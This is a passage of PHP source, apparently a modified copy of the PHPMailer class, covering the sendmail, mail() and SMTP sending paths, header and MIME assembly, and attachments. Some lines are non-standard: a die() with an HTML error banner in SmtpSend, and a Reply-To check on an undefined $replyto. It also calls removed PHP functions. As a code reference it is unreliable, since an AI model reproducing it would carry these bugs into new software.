  1772.  
  1773.   /**
  1774.    * Adds a "Cc" address. Note: this function works
  1775.    * with the SMTP mailer on win32, not with the "mail"
  1776.    * mailer.
  1777.    * @param string $address
  1778.    * @param string $name
  1779.    * @return void
  1780.    */
  1781.   function AddCC($address, $name = '') {
  1782.     $cur = count($this->cc);
  1783.     $this->cc[$cur][0] = trim($address);
  1784.     $this->cc[$cur][1] = $name;
  1785.   }
  1786.  
  1787.   /**
  1788.    * Adds a "Bcc" address. Note: this function works
  1789.    * with the SMTP mailer on win32, not with the "mail"
  1790.    * mailer.
  1791.    * @param string $address
  1792.    * @param string $name
  1793.    * @return void
  1794.    */
  1795.   function AddBCC($address, $name = '') {
  1796.     $cur = count($this->bcc);
  1797.     $this->bcc[$cur][0] = trim($address);
  1798.     $this->bcc[$cur][1] = $name;
  1799.   }
  1800.  
  1801.   /**
  1802.    * Adds a "Reply-To" address.
  1803.    * @param string $address
  1804.    * @param string $name
  1805.    * @return void
  1806.    */
  1807.   function AddReplyTo($address, $name = '') {
  1808.     $cur = count($this->ReplyTo);
  1809.     $this->ReplyTo[$cur][0] = trim($address);
  1810.     $this->ReplyTo[$cur][1] = $name;
  1811.   }
  1812.  
  1813.   /////////////////////////////////////////////////
  1814.   // METHODS, MAIL SENDING
  1815.   /////////////////////////////////////////////////
  1816.  
  1817.   /**
  1818.    * Creates message and assigns Mailer. If the message is
  1819.    * not sent successfully then it returns false.  Use the ErrorInfo
  1820.    * variable to view description of the error.
  1821.    * @return bool
  1822.    */
  1823.   function Send() {
  1824.     $header = '';
  1825.     $body = '';
  1826.     $result = true;
  1827.  
  1828.     if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1829.       $this->SetError($this->Lang('provide_address'));
  1830.       return false;
  1831.     }
  1832.  
  1833.     /* Set whether the message is multipart/alternative */
  1834.     if(!empty($this->AltBody)) {
  1835.       $this->ContentType = 'multipart/alternative';
  1836.     }
  1837.  
  1838.     $this->error_count = 0; // reset errors
  1839.     $this->SetMessageType();
  1840.     $header .= $this->CreateHeader();
  1841.     $body = $this->CreateBody();
  1842.  
  1843.     if($body == '') {
  1844.       return false;
  1845.     }
  1846.  
  1847.     /* Choose the mailer */
  1848.     switch($this->Mailer) {
  1849.       case 'sendmail':
  1850.         $result = $this->SendmailSend($header, $body);
  1851.         break;
  1852.       case 'smtp':
  1853.         $result = $this->SmtpSend($header, $body);
  1854.         break;
  1855.       case 'mail':
  1856.         $result = $this->MailSend($header, $body);
  1857.         break;
  1858.       default:
  1859.         $result = $this->MailSend($header, $body);
  1860.         break;
  1861.         //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1862.         //$result = false;
  1863.         //break;
  1864.     }
  1865.  
  1866.     return $result;
  1867.   }
  1868.  
  1869.   /**
  1870.    * Sends mail using the $Sendmail program.
  1871.    * @access private
  1872.    * @return bool
  1873.    */
  1874.   function SendmailSend($header, $body) {
  1875.     if ($this->Sender != '') {
  1876.       $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1877.     } else {
  1878.       $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1879.     }
  1880.  
  1881.     if(!@$mail = popen($sendmail, 'w')) {
  1882.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1883.       return false;
  1884.     }
  1885.  
  1886.     fputs($mail, $header);
  1887.     fputs($mail, $body);
  1888.  
  1889.     $result = pclose($mail);
  1890.     if (version_compare(phpversion(), '4.2.3') == -1) {
  1891.       $result = $result >> 8 & 0xFF;
  1892.     }
  1893.     if($result != 0) {
  1894.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1895.       return false;
  1896.     }
  1897.     return true;
  1898.   }
  1899.  
  1900.   /**
  1901.    * Sends mail using the PHP mail() function.
  1902.    * @access private
  1903.    * @return bool
  1904.    */
  1905.   function MailSend($header, $body) {
  1906.  
  1907.     $to = '';
  1908.     for($i = 0; $i < count($this->to); $i++) {
  1909.       if($i != 0) { $to .= ', '; }
  1910.       $to .= $this->AddrFormat($this->to[$i]);
  1911.     }
  1912.  
  1913.     $toArr = split(',', $to);
  1914.  
  1915.     $params = sprintf("-oi -f %s", $this->Sender);
  1916.     if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1917.       $old_from = ini_get('sendmail_from');
  1918.       ini_set('sendmail_from', $this->Sender);
  1919.       if ($this->SingleTo === true && count($toArr) > 1) {
  1920.         foreach ($toArr as $key => $val) {
  1921.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1922.         }
  1923.       } else {
  1924.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1925.       }
  1926.     } else {
  1927.       if ($this->SingleTo === true && count($toArr) > 1) {
  1928.         foreach ($toArr as $key => $val) {
  1929.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1930.         }
  1931.       } else {
  1932.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1933.       }
  1934.     }
  1935.  
  1936.     if (isset($old_from)) {
  1937.       ini_set('sendmail_from', $old_from);
  1938.     }
  1939.  
  1940.     if(!$rt) {
  1941.       $this->SetError($this->Lang('instantiate'));
  1942.       return false;
  1943.     }
  1944.  
  1945.     return true;
  1946.   }
  1947.  
  1948.   /**
  1949.    * Sends mail via SMTP using PhpSMTP (Author:
  1950.    * Chris Ryan).  Returns bool.  Returns false if there is a
  1951.    * bad MAIL FROM, RCPT, or DATA input.
  1952.    * @access private
  1953.    * @return bool
  1954.    */
  1955.   function SmtpSend($header, $body) {
  1956.     $error = '';
  1957.     $bad_rcpt = array();
  1958.  
  1959.     if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1960.       return false;
  1961.     }
  1962.  
  1963.     $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1964.     if(!$this->smtp->Mail($smtp_from)) {
  1965.       $error = $this->Lang('from_failed') . $smtp_from;
  1966.       $this->SetError($error);
  1967.       $this->smtp->Reset();
  1968.       return false;
  1969.     }
  1970.  
  1971.     /* Attempt to send attach all recipients */
  1972.     for($i = 0; $i < count($this->to); $i++) {
  1973.       if(!$this->smtp->Recipient($this->to[$i][0])) {
  1974.         $bad_rcpt[] = $this->to[$i][0];
  1975.       }
  1976.     }
  1977.     for($i = 0; $i < count($this->cc); $i++) {
  1978.       if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1979.         $bad_rcpt[] = $this->cc[$i][0];
  1980.       }
  1981.     }
  1982.     for($i = 0; $i < count($this->bcc); $i++) {
  1983.       if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1984.         $bad_rcpt[] = $this->bcc[$i][0];
  1985.       }
  1986.     }
  1987.  
  1988.     if(count($bad_rcpt) > 0) { // Create error message
  1989.       for($i = 0; $i < count($bad_rcpt); $i++) {
  1990.         if($i != 0) {
  1991.           $error .= ', ';
  1992.         }
  1993.         $error .= $bad_rcpt[$i];
  1994.  
  1995.       }
  1996.       $error = $this->Lang('recipients_failed') . $error;
  1997.       $this->SetError($error);
  1998.       $this->smtp->Reset();
  1999.       return false;
  2000.     }
  2001.  
  2002.     if(!$this->smtp->Data($header . $body)) {
  2003.       $this->SetError($this->Lang('data_not_accepted'));
  2004.       $this->smtp->Reset();
  2005.       return false;
  2006.     }
  2007.     if($this->SMTPKeepAlive == true) {
  2008.       $this->smtp->Reset();
  2009.     } else {
  2010.       $this->SmtpClose();
  2011.     }
  2012.  
  2013.     return true;
  2014.   }
  2015.  
  2016.   /**
  2017.    * Initiates a connection to an SMTP server.  Returns false if the
  2018.    * operation failed.
  2019.    * @access private
  2020.    * @return bool
  2021.    */
  2022.   function SmtpConnect() {
  2023.     if($this->smtp == NULL) {
  2024.       $this->smtp = new SMTP();
  2025.     }
  2026.  
  2027.     $this->smtp->do_debug = $this->SMTPDebug;
  2028.     $hosts = explode(';', $this->Host);
  2029.     $index = 0;
  2030.     $connection = ($this->smtp->Connected());
  2031.  
  2032.     /* Retry while there is no connection */
  2033.     while($index < count($hosts) && $connection == false) {
  2034.       $hostinfo = array();
  2035.       if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  2036.         $host = $hostinfo[1];
  2037.         $port = $hostinfo[2];
  2038.       } else {
  2039.         $host = $hosts[$index];
  2040.         $port = $this->Port;
  2041.       }
  2042.  
  2043.       if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  2044.         if ($this->Helo != '') {
  2045.           $this->smtp->Hello($this->Helo);
  2046.         } else {
  2047.           $this->smtp->Hello($this->ServerHostname());
  2048.         }
  2049.  
  2050.         $connection = true;
  2051.         if($this->SMTPAuth) {
  2052.           if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  2053.             $this->SetError($this->Lang('authenticate'));
  2054.             $this->smtp->Reset();
  2055.             $connection = false;
  2056.           }
  2057.         }
  2058.       }
  2059.       $index++;
  2060.     }
  2061.     if(!$connection) {
  2062.       $this->SetError($this->Lang('connect_host'));
  2063.     }
  2064.  
  2065.     return $connection;
  2066.   }
  2067.  
  2068.   /**
  2069.    * Closes the active SMTP session if one exists.
  2070.    * @return void
  2071.    */
  2072.   function SmtpClose() {
  2073.     if($this->smtp != NULL) {
  2074.       if($this->smtp->Connected()) {
  2075.         $this->smtp->Quit();
  2076.         $this->smtp->Close();
  2077.       }
  2078.     }
  2079.   }
  2080.  
  2081.   /**
  2082.    * Sets the language for all class error messages.  Returns false
  2083.    * if it cannot load the language file.  The default language type
  2084.    * is English.
  2085.    * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2086.    * @param string $lang_path Path to the language file directory
  2087.    * @access public
  2088.    * @return bool
  2089.    */
  2090.   function SetLanguage($lang_type, $lang_path = 'language/') {
  2091.     if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2092.       include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2093.     } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2094.       include($lang_path.'phpmailer.lang-en.php');
  2095.     } else {
  2096.       $this->SetError('Could not load language file');
  2097.       return false;
  2098.     }
  2099.     $this->language = $PHPMAILER_LANG;
  2100.  
  2101.     return true;
  2102.   }
  2103.  
  2104.   /////////////////////////////////////////////////
  2105.   // METHODS, MESSAGE CREATION
  2106.   /////////////////////////////////////////////////
  2107.  
  2108.   /**
  2109.    * Creates recipient headers.
  2110.    * @access private
  2111.    * @return string
  2112.    */
  2113.   function AddrAppend($type, $addr) {
  2114.     $addr_str = $type . ': ';
  2115.     $addr_str .= $this->AddrFormat($addr[0]);
  2116.     if(count($addr) > 1) {
  2117.       for($i = 1; $i < count($addr); $i++) {
  2118.         $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2119.       }
  2120.     }
  2121.     $addr_str .= $this->LE;
  2122.  
  2123.     return $addr_str;
  2124.   }
  2125.  
  2126.   /**
  2127.    * Formats an address correctly.
  2128.    * @access private
  2129.    * @return string
  2130.    */
  2131.   function AddrFormat($addr) {
  2132.     if(empty($addr[1])) {
  2133.       $formatted = $this->SecureHeader($addr[0]);
  2134.     } else {
  2135.       $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2136.     }
  2137.  
  2138.     return $formatted;
  2139.   }
  2140.  
  2141.   /**
  2142.    * Wraps message for use with mailers that do not
  2143.    * automatically perform wrapping and for quoted-printable.
  2144.    * Original written by philippe.
  2145.    * @access private
  2146.    * @return string
  2147.    */
  2148.   function WrapText($message, $length, $qp_mode = false) {
  2149.     $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2150.     // If utf-8 encoding is used, we will need to make sure we don't
  2151.     // split multibyte characters when we wrap
  2152.     $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2153.  
  2154.     $message = $this->FixEOL($message);
  2155.     if (substr($message, -1) == $this->LE) {
  2156.       $message = substr($message, 0, -1);
  2157.     }
  2158.  
  2159.     $line = explode($this->LE, $message);
  2160.     $message = '';
  2161.     for ($i=0 ;$i < count($line); $i++) {
  2162.       $line_part = explode(' ', $line[$i]);
  2163.       $buf = '';
  2164.       for ($e = 0; $e<count($line_part); $e++) {
  2165.         $word = $line_part[$e];
  2166.         if ($qp_mode and (strlen($word) > $length)) {
  2167.           $space_left = $length - strlen($buf) - 1;
  2168.           if ($e != 0) {
  2169.             if ($space_left > 20) {
  2170.               $len = $space_left;
  2171.               if ($is_utf8) {
  2172.                 $len = $this->UTF8CharBoundary($word, $len);
  2173.               } elseif (substr($word, $len - 1, 1) == "=") {
  2174.                 $len--;
  2175.               } elseif (substr($word, $len - 2, 1) == "=") {
  2176.                 $len -= 2;
  2177.               }
  2178.               $part = substr($word, 0, $len);
  2179.               $word = substr($word, $len);
  2180.               $buf .= ' ' . $part;
  2181.               $message .= $buf . sprintf("=%s", $this->LE);
  2182.             } else {
  2183.               $message .= $buf . $soft_break;
  2184.             }
  2185.             $buf = '';
  2186.           }
  2187.           while (strlen($word) > 0) {
  2188.             $len = $length;
  2189.             if ($is_utf8) {
  2190.               $len = $this->UTF8CharBoundary($word, $len);
  2191.             } elseif (substr($word, $len - 1, 1) == "=") {
  2192.               $len--;
  2193.             } elseif (substr($word, $len - 2, 1) == "=") {
  2194.               $len -= 2;
  2195.             }
  2196.             $part = substr($word, 0, $len);
  2197.             $word = substr($word, $len);
  2198.  
  2199.             if (strlen($word) > 0) {
  2200.               $message .= $part . sprintf("=%s", $this->LE);
  2201.             } else {
  2202.               $buf = $part;
  2203.             }
  2204.           }
  2205.         } else {
  2206.           $buf_o = $buf;
  2207.           $buf .= ($e == 0) ? $word : (' ' . $word);
  2208.  
  2209.           if (strlen($buf) > $length and $buf_o != '') {
  2210.             $message .= $buf_o . $soft_break;
  2211.             $buf = $word;
  2212.           }
  2213.         }
  2214.       }
  2215.       $message .= $buf . $this->LE;
  2216.     }
  2217.  
  2218.     return $message;
  2219.   }
  2220.  
  2221.   /**
  2222.    * Finds last character boundary prior to maxLength in a utf-8
  2223.    * quoted (printable) encoded string.
  2224.    * Original written by Colin Brown.
  2225.    * @access private
  2226.    * @param string $encodedText utf-8 QP text
  2227.    * @param int    $maxLength   find last character boundary prior to this length
  2228.    * @return int
  2229.    */
  2230.   function UTF8CharBoundary($encodedText, $maxLength) {
  2231.     $foundSplitPos = false;
  2232.     $lookBack = 3;
  2233.     while (!$foundSplitPos) {
  2234.       $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2235.       $encodedCharPos = strpos($lastChunk, "=");
  2236.       if ($encodedCharPos !== false) {
  2237.         // Found start of encoded character byte within $lookBack block.
  2238.         // Check the encoded byte value (the 2 chars after the '=')
  2239.         $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2240.         $dec = hexdec($hex);
  2241.         if ($dec < 128) { // Single byte character.
  2242.           // If the encoded char was found at pos 0, it will fit
  2243.           // otherwise reduce maxLength to start of the encoded char
  2244.           $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2245.           $maxLength - ($lookBack - $encodedCharPos);
  2246.           $foundSplitPos = true;
  2247.         } elseif ($dec >= 192) { // First byte of a multi byte character
  2248.           // Reduce maxLength to split at start of character
  2249.           $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2250.           $foundSplitPos = true;
  2251.         } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2252.           $lookBack += 3;
  2253.         }
  2254.       } else {
  2255.         // No encoded character found
  2256.         $foundSplitPos = true;
  2257.       }
  2258.     }
  2259.     return $maxLength;
  2260.   }
  2261.  
  2262.   /**
  2263.    * Set the body wrapping.
  2264.    * @access private
  2265.    * @return void
  2266.    */
  2267.   function SetWordWrap() {
  2268.     if($this->WordWrap < 1) {
  2269.       return;
  2270.     }
  2271.  
  2272.     switch($this->message_type) {
  2273.       case 'alt':
  2274.         /* fall through */
  2275.       case 'alt_attachments':
  2276.         $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2277.         break;
  2278.       default:
  2279.         $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2280.         break;
  2281.     }
  2282.   }
  2283.  
  2284.   /**
  2285.    * Assembles message header.
  2286.    * @access private
  2287.    * @return string
  2288.    */
  2289.   function CreateHeader() {
  2290.     $result = '';
  2291.  
  2292.     /* Set the boundaries */
  2293.     $uniq_id = md5(uniqid(time()));
  2294.     $this->boundary[1] = 'b1_' . $uniq_id;
  2295.     $this->boundary[2] = 'b2_' . $uniq_id;
  2296.  
  2297.     $result .= $this->HeaderLine('Date', $this->RFCDate());
  2298.     if($this->Sender == '') {
  2299.       $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2300.     } else {
  2301.       $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2302.     }
  2303.  
  2304.     /* To be created automatically by mail() */
  2305.     if($this->Mailer != 'mail') {
  2306.       if(count($this->to) > 0) {
  2307.         $result .= $this->AddrAppend('To', $this->to);
  2308.       } elseif (count($this->cc) == 0) {
  2309.         $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2310.       }
  2311.       if(count($this->cc) > 0) {
  2312.         $result .= $this->AddrAppend('Cc', $this->cc);
  2313.       }
  2314.     }
  2315.  
  2316.     $from = array();
  2317.     $from[0][0] = trim($this->From);
  2318.     $from[0][1] = $this->FromName;
  2319.     $result .= $this->AddrAppend('From', $from);
  2320.  
  2321.     /* sendmail and mail() extract Cc from the header before sending */
  2322.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2323.       $result .= $this->AddrAppend('Cc', $this->cc);
  2324.     }
  2325.  
  2326.     /* sendmail and mail() extract Bcc from the header before sending */
  2327.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2328.       $result .= $this->AddrAppend('Bcc', $this->bcc);
  2329.     }
  2330.         if($replyto != "")
  2331.         {
  2332.     if(count($this->ReplyTo) > 0) {
  2333.       $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2334.     }
  2335.         }
  2336.     /* mail() sets the subject itself */
  2337.     if($this->Mailer != 'mail') {
  2338.       $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2339.     }
  2340.  
  2341.     if($this->MessageID != '') {
  2342.       $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2343.     } else {
  2344.       $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2345.     }
  2346.     $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2347.     if($this->ConfirmReadingTo != '') {
  2348.       $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2349.     }
  2350.  
  2351.     // Add custom headers
  2352.     for($index = 0; $index < count($this->CustomHeader); $index++) {
  2353.       $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2354.     }
  2355.     if (!$this->sign_key_file) {
  2356.       $result .= $this->HeaderLine('MIME-Version', '1.0');
  2357.       $result .= $this->GetMailMIME();
  2358.     }
  2359.  
  2360.     return $result;
  2361.   }
  2362.  
  2363.   /**
  2364.    * Returns the message MIME.
  2365.    * @access private
  2366.    * @return string
  2367.    */
  2368.   function GetMailMIME() {
  2369.     $result = '';
  2370.     switch($this->message_type) {
  2371.       case 'plain':
  2372.         $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2373.         $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2374.         break;
  2375.       case 'attachments':
  2376.         /* fall through */
  2377.       case 'alt_attachments':
  2378.         if($this->InlineImageExists()){
  2379.           $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2380.         } else {
  2381.           $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2382.           $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2383.         }
  2384.         break;
  2385.       case 'alt':
  2386.         $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2387.         $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2388.         break;
  2389.     }
  2390.  
  2391.     if($this->Mailer != 'mail') {
  2392.       $result .= $this->LE.$this->LE;
  2393.     }
  2394.  
  2395.     return $result;
  2396.   }
  2397.  
  2398.   /**
  2399.    * Assembles the message body.  Returns an empty string on failure.
  2400.    * @access private
  2401.    * @return string
  2402.    */
  2403.   function CreateBody() {
  2404.     $result = '';
  2405.     if ($this->sign_key_file) {
  2406.       $result .= $this->GetMailMIME();
  2407.     }
  2408.  
  2409.     $this->SetWordWrap();
  2410.  
  2411.     switch($this->message_type) {
  2412.       case 'alt':
  2413.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2414.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2415.         $result .= $this->LE.$this->LE;
  2416.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2417.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2418.         $result .= $this->LE.$this->LE;
  2419.         $result .= $this->EndBoundary($this->boundary[1]);
  2420.         break;
  2421.       case 'plain':
  2422.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2423.         break;
  2424.       case 'attachments':
  2425.         $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2426.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2427.         $result .= $this->LE;
  2428.         $result .= $this->AttachAll();
  2429.         break;
  2430.       case 'alt_attachments':
  2431.         $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2432.         $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2433.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2434.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2435.         $result .= $this->LE.$this->LE;
  2436.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2437.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2438.         $result .= $this->LE.$this->LE;
  2439.         $result .= $this->EndBoundary($this->boundary[2]);
  2440.         $result .= $this->AttachAll();
  2441.         break;
  2442.     }
  2443.  
  2444.     if($this->IsError()) {
  2445.       $result = '';
  2446.     } else if ($this->sign_key_file) {
  2447.       $file = tempnam("", "mail");
  2448.       $fp = fopen($file, "w");
  2449.       fwrite($fp, $result);
  2450.       fclose($fp);
  2451.       $signed = tempnam("", "signed");
  2452.  
  2453.       if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2454.         $fp = fopen($signed, "r");
  2455.         $result = fread($fp, filesize($this->sign_key_file));
  2456.         fclose($fp);
  2457.       } else {
  2458.         $this->SetError($this->Lang("signing").openssl_error_string());
  2459.         $result = '';
  2460.       }
  2461.  
  2462.       unlink($file);
  2463.       unlink($signed);
  2464.     }
  2465.  
  2466.     return $result;
  2467.   }
  2468.  
  2469.   /**
  2470.    * Returns the start of a message boundary.
  2471.    * @access private
  2472.    */
  2473.   function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2474.     $result = '';
  2475.     if($charSet == '') {
  2476.       $charSet = $this->CharSet;
  2477.     }
  2478.     if($contentType == '') {
  2479.       $contentType = $this->ContentType;
  2480.     }
  2481.     if($encoding == '') {
  2482.       $encoding = $this->Encoding;
  2483.     }
  2484.     $result .= $this->TextLine('--' . $boundary);
  2485.     $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2486.     $result .= $this->LE;
  2487.     $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2488.     $result .= $this->LE;
  2489.  
  2490.     return $result;
  2491.   }
  2492.  
  2493.   /**
  2494.    * Returns the end of a message boundary.
  2495.    * @access private
  2496.    */
  2497.   function EndBoundary($boundary) {
  2498.     return $this->LE . '--' . $boundary . '--' . $this->LE;
  2499.   }
  2500.  
  2501.   /**
  2502.    * Sets the message type.
  2503.    * @access private
  2504.    * @return void
  2505.    */
  2506.   function SetMessageType() {
  2507.     if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2508.       $this->message_type = 'plain';
  2509.     } else {
  2510.       if(count($this->attachment) > 0) {
  2511.         $this->message_type = 'attachments';
  2512.       }
  2513.       if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2514.         $this->message_type = 'alt';
  2515.       }
  2516.       if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2517.         $this->message_type = 'alt_attachments';
  2518.       }
  2519.     }
  2520.   }
  2521.  
  2522.   /* Returns a formatted header line.
  2523.    * @access private
  2524.    * @return string
  2525.    */
  2526.   function HeaderLine($name, $value) {
  2527.     return $name . ': ' . $value . $this->LE;
  2528.   }
  2529.  
  2530.   /**
  2531.    * Returns a formatted mail line.
  2532.    * @access private
  2533.    * @return string
  2534.    */
  2535.   function TextLine($value) {
  2536.     return $value . $this->LE;
  2537.   }
  2538.  
  2539.   /////////////////////////////////////////////////
  2540.   // CLASS METHODS, ATTACHMENTS
  2541.   /////////////////////////////////////////////////
  2542.  
  2543.   /**
  2544.    * Adds an attachment from a path on the filesystem.
  2545.    * Returns false if the file could not be found
  2546.    * or accessed.
  2547.    * @param string $path Path to the attachment.
  2548.    * @param string $name Overrides the attachment name.
  2549.    * @param string $encoding File encoding (see $Encoding).
  2550.    * @param string $type File extension (MIME) type.
  2551.    * @return bool
  2552.    */
  2553.   function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2554.     if(!@is_file($path)) {
  2555.       $this->SetError($this->Lang('file_access') . $path);
  2556.       return false;
  2557.     }
  2558.  
  2559.     $filename = basename($path);
  2560.     if($name == '') {
  2561.       $name = $filename;
  2562.     }
  2563.  
  2564.     $cur = count($this->attachment);
  2565.     $this->attachment[$cur][0] = $path;
  2566.     $this->attachment[$cur][1] = $filename;
  2567.     $this->attachment[$cur][2] = $name;
  2568.     $this->attachment[$cur][3] = $encoding;
  2569.     $this->attachment[$cur][4] = $type;
  2570.     $this->attachment[$cur][5] = false; // isStringAttachment
  2571.     $this->attachment[$cur][6] = 'attachment';
  2572.     $this->attachment[$cur][7] = 0;
  2573.  
  2574.     return true;
  2575.   }
  2576.  
  2577.   /**
  2578.    * Attaches all fs, string, and binary attachments to the message.
  2579.    * Returns an empty string on failure.
  2580.    * @access private
  2581.    * @return string
  2582.    */
  2583.   function AttachAll() {
  2584.     /* Return text of body */
  2585.     $mime = array();
  2586.  
  2587.     /* Add all attachments */
  2588.     for($i = 0; $i < count($this->attachment); $i++) {
  2589.       /* Check for string attachment */
  2590.       $bString = $this->attachment[$i][5];
  2591.       if ($bString) {
  2592.         $string = $this->attachment[$i][0];
  2593.       } else {
  2594.         $path = $this->attachment[$i][0];
  2595.       }
  2596.  
  2597.       $filename    = $this->attachment[$i][1];
  2598.       $name        = $this->attachment[$i][2];
  2599.       $encoding    = $this->attachment[$i][3];
  2600.       $type        = $this->attachment[$i][4];
  2601.       $disposition = $this->attachment[$i][6];
  2602.       $cid         = $this->attachment[$i][7];
  2603.  
  2604.       $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2605.       $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2606.       $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2607.  
  2608.       if($disposition == 'inline') {
  2609.         $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2610.       }
  2611.  
  2612.       $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2613.  
  2614.       /* Encode as string attachment */
  2615.       if($bString) {
  2616.         $mime[] = $this->EncodeString($string, $encoding);
  2617.         if($this->IsError()) {
  2618.           return '';
  2619.         }
  2620.         $mime[] = $this->LE.$this->LE;
  2621.       } else {
  2622.         $mime[] = $this->EncodeFile($path, $encoding);
  2623.         if($this->IsError()) {
  2624.           return '';
  2625.         }
  2626.         $mime[] = $this->LE.$this->LE;
  2627.       }
  2628.     }
  2629.  
  2630.     $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2631.  
  2632.     return join('', $mime);
  2633.   }
  2634.  
  2635.   /**
  2636.    * Encodes attachment in requested format.  Returns an
  2637.    * empty string on failure.
  2638.    * @access private
  2639.    * @return string
  2640.    */
  2641.   function EncodeFile ($path, $encoding = 'base64') {
  2642.     if(!@$fd = fopen($path, 'rb')) {
  2643.       $this->SetError($this->Lang('file_open') . $path);
  2644.       return '';
  2645.     }
  2646.     $magic_quotes = get_magic_quotes_runtime();
  2647.     set_magic_quotes_runtime(0);
  2648.     $file_buffer = fread($fd, filesize($path));
  2649.     $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2650.     fclose($fd);
  2651.     set_magic_quotes_runtime($magic_quotes);
  2652.  
  2653.     return $file_buffer;
  2654.   }
  2655.  
  2656.   /**
  2657.    * Encodes string to requested format. Returns an
  2658.    * empty string on failure.
  2659.    * @access private
  2660.    * @return string
